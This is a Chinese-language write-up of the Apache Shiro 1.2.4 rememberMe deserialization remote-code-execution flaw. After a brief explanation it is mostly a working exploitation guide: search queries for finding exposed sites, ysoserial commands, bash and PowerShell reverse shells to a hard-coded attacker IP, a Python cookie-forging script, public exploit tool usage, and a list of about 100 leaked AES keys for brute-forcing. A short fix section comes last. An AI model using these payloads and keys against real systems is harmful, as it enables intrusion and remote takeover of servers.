0x00 漏洞描述
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令
只要
rememberMe
的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。
0x01 影響版本
Apache Shiro <= 1.2.4
0x02 漏洞原理
Apache Shiro框架提供了記住我的功能(RememberMe),關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。用戶登陸成功后會生成經過加密並編碼的cookie。
Apache Shiro 1.2.4及以前版本中,Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞
在服務端接收cookie值時,按照如下步驟來解析處理:
1、檢索RememberMe cookie 的值
2、Base 64解碼
3、使用AES解密(加密密鑰硬編碼)
4、進行反序列化操作(未作過濾處理)
但是,AES加密的密鑰Key被硬編碼在代碼里,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼后,作為cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。在調用反序列化時未進行任何過濾,導致可以觸發遠程代碼執行漏洞
0x03 漏洞原因
大概意思是,shiro在登錄處提供了Remember Me這個功能,來記錄用戶登錄的憑證,然后shiro使用了CookieRememberMeManager類對用戶的登陸憑證,也就是Remember Me的內容進行一系列處理:
使用Java序列化 ---> 使用密鑰進行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me內容
同時在識別用戶身份的時候,需要對Remember Me的字段進行解密,解密的順序為:
Remember Me加密內容 ---> Base64解密 ---> 使用密鑰進行AES解密 --->Java反序列化
問題出在AES加密的密鑰Key被硬編碼在代碼里,這意味着攻擊者只要通過源代碼找到AES加密的密鑰,就可以構造一個惡意對象,對其進行序列化,AES加密,Base64編碼,然后將其作為cookie的Remember Me字段發送,Shiro將RememberMe進行解密並且反序列化,最終造成反序列化漏洞。
0x04 漏洞利用條件
由於使用來aes加密,要想成功利用漏洞則需要獲取aes的加密密鑰,而在shiro的1.2.4之前版本中使用的是硬編碼。其默認密鑰的base64編碼后的值為kPH+bIxk5D2deZiIxcaaaA==。這里就可以通過構造惡意的序列化對象進行編碼,加密,然后作為cookie加密發送,服務端接收后會解密並觸發反序列化漏洞。
0x05 漏洞搜索關鍵字
fofa的搜索關鍵詞:header="rememberme=deleteMe"
github搜索關鍵詞:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
0x06 漏洞特征
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
0x07 環境搭建
1.下載鏡像
docker pull medicean/vulapps:s_shiro_1

2.直接運行鏡像,將docker的8080端口映射到本地的 8080上:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

3.訪問地址:http://149.28.94.72:8080/,可以看到環境被成功搭建

或者:
docker-compose up -d
服務啟動后,訪問http://your-ip:8080可使用admin:vulhub進行登錄
0x08 漏洞復現
一、最基本方式復現利用復現
1.ysoserial-0.0.6-SNAPSHOT-all.jar文件下載:
root@shiro:~/Shiro_exploit# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

2.訪問漏洞靶場,並使用burp對其抓包,輸入正確的用戶名和密碼,勾選Remember Me選項。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段。

3.對登錄的頁面進行抓包

4.抓到包發送到repeater,重放即可看到cookie中包含rememberMe=deleteMe字段

5.然后在攻擊機執行以下命令:(通過 ysoserial中的JRMP監聽模塊,監聽 1086 端口並執行反彈shell命令)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”
注:
payloads/JRMPClient 是結合 exploit/JRMPListener 使用的;
JRMPListener是ysoserial 工具里的其中一個利用模塊,作用是通過反序列化,開啟當前主機的一個 JRMP Server ,具體的利用過程是,將反序列化數據 發送到 Server 中,然后Server中進行反序列化操作,並開啟指定端口,然后在通過JRMPClient去發送攻擊 payload;
payloads/JRMPClient 生存的 payload 是發送給目標機器的,exploit/JRMPListener 是在自己服務器上使用的。
JRMPListener是ysoserial 工具里的其中一個利用模塊,作用是通過反序列化,開啟當前主機的一個 JRMP Server ,具體的利用過程是,將反序列化數據 發送到 Server 中,然后Server中進行反序列化操作,並開啟指定端口,然后在通過JRMPClient去發送攻擊 payload;
payloads/JRMPClient 生存的 payload 是發送給目標機器的,exploit/JRMPListener 是在自己服務器上使用的。
然后我們來構造payload來進行反彈shell的操作,寫好bash反彈shell的命令
bash -i >& /dev/tcp/149.28.94.72/2222 0>&1
然后轉換成加密后的指令(去這個網站http://www.jackson-t.ca/runtime-exec-payloads.html)
bash -i >& /dev/tcp/149.28.94.72/2222 0>&1
然后轉換成加密后的指令(去這個網站http://www.jackson-t.ca/runtime-exec-payloads.html)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}
注:為什么要對反彈shell進行編碼?
在exec()函數中,">"管道符是沒有意義的,會被解析為其他的意義,而我們的反彈shell命令中又必須使用,所以需要編碼。
另外,StringTokenizer類會破壞其中包含空格的參數,該類將命令字符串按空格分隔。諸如此類的東西 ls "My Directory"將被解釋為ls '"My' 'Directory"'
6.最終在攻擊機上執行的命令如下:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}”

7.使用shiro.py生成payload,需要python2的環境,使用Shiro內置的默認密鑰對Payload進行加密:
shiro.py:
import
sys
import
uuid
import
base64
import
subprocess
from
Crypto.Cipher
import
AES
def
encode_rememberme(command):
popen
=
subprocess.Popen(['java',
'-jar',
'ysoserial-0.0.6-SNAPSHOT-all.jar',
'JRMPClient', command], stdout=subprocess.PIPE)
BS
=
AES.block_size
pad
=
lambda
s: s
+
((BS
-
len(s)
%
BS)
*
chr(BS
-
len(s)
%
BS)).encode()
key
=
base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv
=
uuid.uuid4().bytes
encryptor
=
AES.new(key, AES.MODE_CBC, iv)
file_body
=
pad(popen.stdout.read())
base64_ciphertext
=
base64.b64encode(iv
+
encryptor.encrypt(file_body))
return
base64_ciphertext
if
__name__
==
'__main__':
payload
=
encode_rememberme(sys.argv[1])
print
"rememberMe={0}".format(payload.decode())
8.對目標靶機進行payload加密處理
root@shiro:~/Shiro_exploit# python shiro.py 149.28.94.72:1099 //攻擊機的ip地址和java監聽端口,shiro.py需要和ysoserial.jar放在同一個目錄下。
rememberMe=Js0Jb6NWTG6O1ZvE0Y6L2cXY9xbf/F6SGZHcoL11yHyKy3gRXdgGRmS3XUUCdq+mPLOc6WzlFpEqdpm+o1RS3fN8N2JWzDI7XI4zZLcI3V3SVhasOqoYX6Eb5s7AQLHePx6T7p8s5XTa5/pdny+bHGLoFJnCR8fa9P1VkcUAdvNuEEfEd4K+zYzSEmVDMdvgCLEx4FZ4zME52g+zGaMfn+L3FcXIy397e+L8FFHoMIayzxnl6D/17Z5hJdlx97xrqB31ZbdoIryiP1VmzDoqgP6ZEfewtH8k9bWyT5ZrSNwOe7FhcNxsrscTD+cboMqt5NUWNH9Jz4pk4VeHyMuAZaZ3TVb9ebfBThYnXvSHTwsEKlTp8sGPsCsKbbMCFKL3Q6qR+ri+15FozlEAsfvliA==

9.然后在攻擊機上監聽2222端口,等待shell反彈

10.將生成的remeberMe值添加到cookie字段內的jessionid后邊,用分號隔開添加剛生成的payload,然后將數據包放行

11.數據包發送之后查看攻擊機中java監聽接口和nc監聽端口結果顯示如下圖


二、Shiro_exploit腳本利用復現
1.使用Shiro_exploit的poc對目標靶機key的爆破檢查
root@shiro:~/Shiro_exploit# python3 shiro_exploit.py -u http://149.28.94.72:8080


2.使用Shiro_exploit的poc執行反彈shell
root@shiro:~# git clone https://github.com/insightglacier/Shiro_exploit.git
root@shiro:~/Shiro_exploit# pip3 install pycryptodome
nc -lvvp 2222

3.使用Shiro_exploit的poc進行在目標靶機創建文件

4.使用Shiro_exploit的poc檢測可用gadget的方式
python3 shiro_exploit.py -u
http://149.28.94.72:8080 -t 3 -p "ping -c 2 1m054t.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="

dnslog上會看到請求的域名,證明漏洞存在

三、ShiroExploit圖形化工具利用復現
Shiro550無需提供rememberMe Cooki




攻擊機執行:(可以看到成功反彈shell)
nc -lvvp 3333

四、ShiroScan腳本利用復現
使用ShiroScan腳本對漏洞進行檢查
root@shiro:~# git clone https://github.com/sv3nbeast/ShiroScan.git
root@shiro:~#pip3 install -r requirments.txt
root@shiro:~/ShiroScan# python3 shiro_rce.py http://149.28.94.72:8080/ "ping ijinvv.dnslog.cn"

python3 shiro_crack.py http://149.28.94.72:8080/ m55a3c.dnslog.cn #需要結合http://dnslog.cn

成功后查看記錄,記錄格式為 {{key}}.{{module}}.dnslogurl
kPH.bIxk5D2deZiIxcaaaA.CommonsCollections2.m55a3c.dnslog.cn
可知成功的key為kPH.bIxk5D2deZiIxcaaaA==,模塊為CommonsBeanutils2 因為key中包含==/+等符號.

其實網上有很多爆破模塊和key的工具,但是爆破成功后一般只是打通,並不知道模塊和key是什么,因為對於無回顯的rce,無論通沒通,響應碼均為200。 本項目通過爆破模塊和key結合dnslog間接獲取成功的key和模塊,原理即為DNSlog的內涵,Dns在解析的時候會留下日志,通過讀取多級域名的解析日志,獲取請求信息。
2.shiro_getshell 反彈shell
root@shiro:~/Awesome_shiro/shiro_getshell# python3 shiro_getshell.py -u http://149.28.94.72:8080 -lh 149.28.94.72 -lp 3333

root@shiro:~# nc -lvvp 3333

3.批量檢查
根據請求頭,響應頭做一個簡單的測試-將有shiro的網站丟到shiro.txt中



六、ShiroScan圖像化工具利用復現
1.漏洞檢查


2.RCE命令執行

經測試只有commonscollections8和commonscollections2可以執行命令



3.附上默認的
100key(可復制到檢查key中)
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
八、shiro_tool命令行工具利用復現
root@shiro:~/shiro_tool# java -jar shiro_tool.jar http://149.28.94.72:8080

選擇1
然后輸入命令:
curl 7dxz8d.dnslog.cn

bash=bash -i >& /dev/tcp/149.28.94.72/2222 0>&1


輸入命令:output=on #開啟執行遠程命令
輸入命令:x=whoami #可執行系統命令


0x09 漏洞插件檢查
https://github.com/Daybr4ak/ShiroScan(burp插件Shiroscan)


或者通過bupusit抓取關鍵cookie值:rememberMe=deleteMe

0x10 漏洞修復
1.升級Shiro到最新版
2.如果在配置里配置了密鑰, 那么請一定不要使用網上的密鑰, 一定不要! ! 請自己base64一個AES的密鑰, 或者利用官方提供的方法生成密鑰: org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().
public class GenerateCipherKey {
/**
* 隨機生成秘鑰,參考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
* @return
*/
public static byte[] generateNewKey() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}
kg.init(128);
SecretKey key = kg.generateKey();
byte[] encoded = key.getEncoded();
return encoded;
}
}
3.升級對應JDK版本到 8u191/7u201/6u211/11.0.1 以上
4.WAF攔截Cookie中長度過大的rememberMe值
0x11 漏洞總結
測試時, 首先需要對網站基本信息有一個收集, 要知道它是什么系統, linux與windows反彈shell的命令不同 :
1.linux(需要編碼處理): bash -i >& /dev/tcp/ 149.28.94.72/2222 0>&12.windwos(不需要編碼處理): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 149.28.94.72 -port 22223.響應包中出現<rememberMe=deleteMe>可以用來大概判斷是否使用了Shiro.4.關於反彈shell命令, 如果不編碼會命令執行失敗. 簡單說就是反彈shell的命令中包含一些特殊的符號, 在進行反序列化的時候會導致命令無法正常解析5.測試時, 最好先使用ping命令和dnlslog用來檢測漏洞是否存在, 因為復雜的命令可能因為各種原因執行失敗, 影響判斷.6.關於利用模塊的選擇,可以對 CommonsCollections1, CommonsCollections3, CommonsCollections5分別挨過測試,也可以利用圖形化工具來判斷選擇哪個利用模塊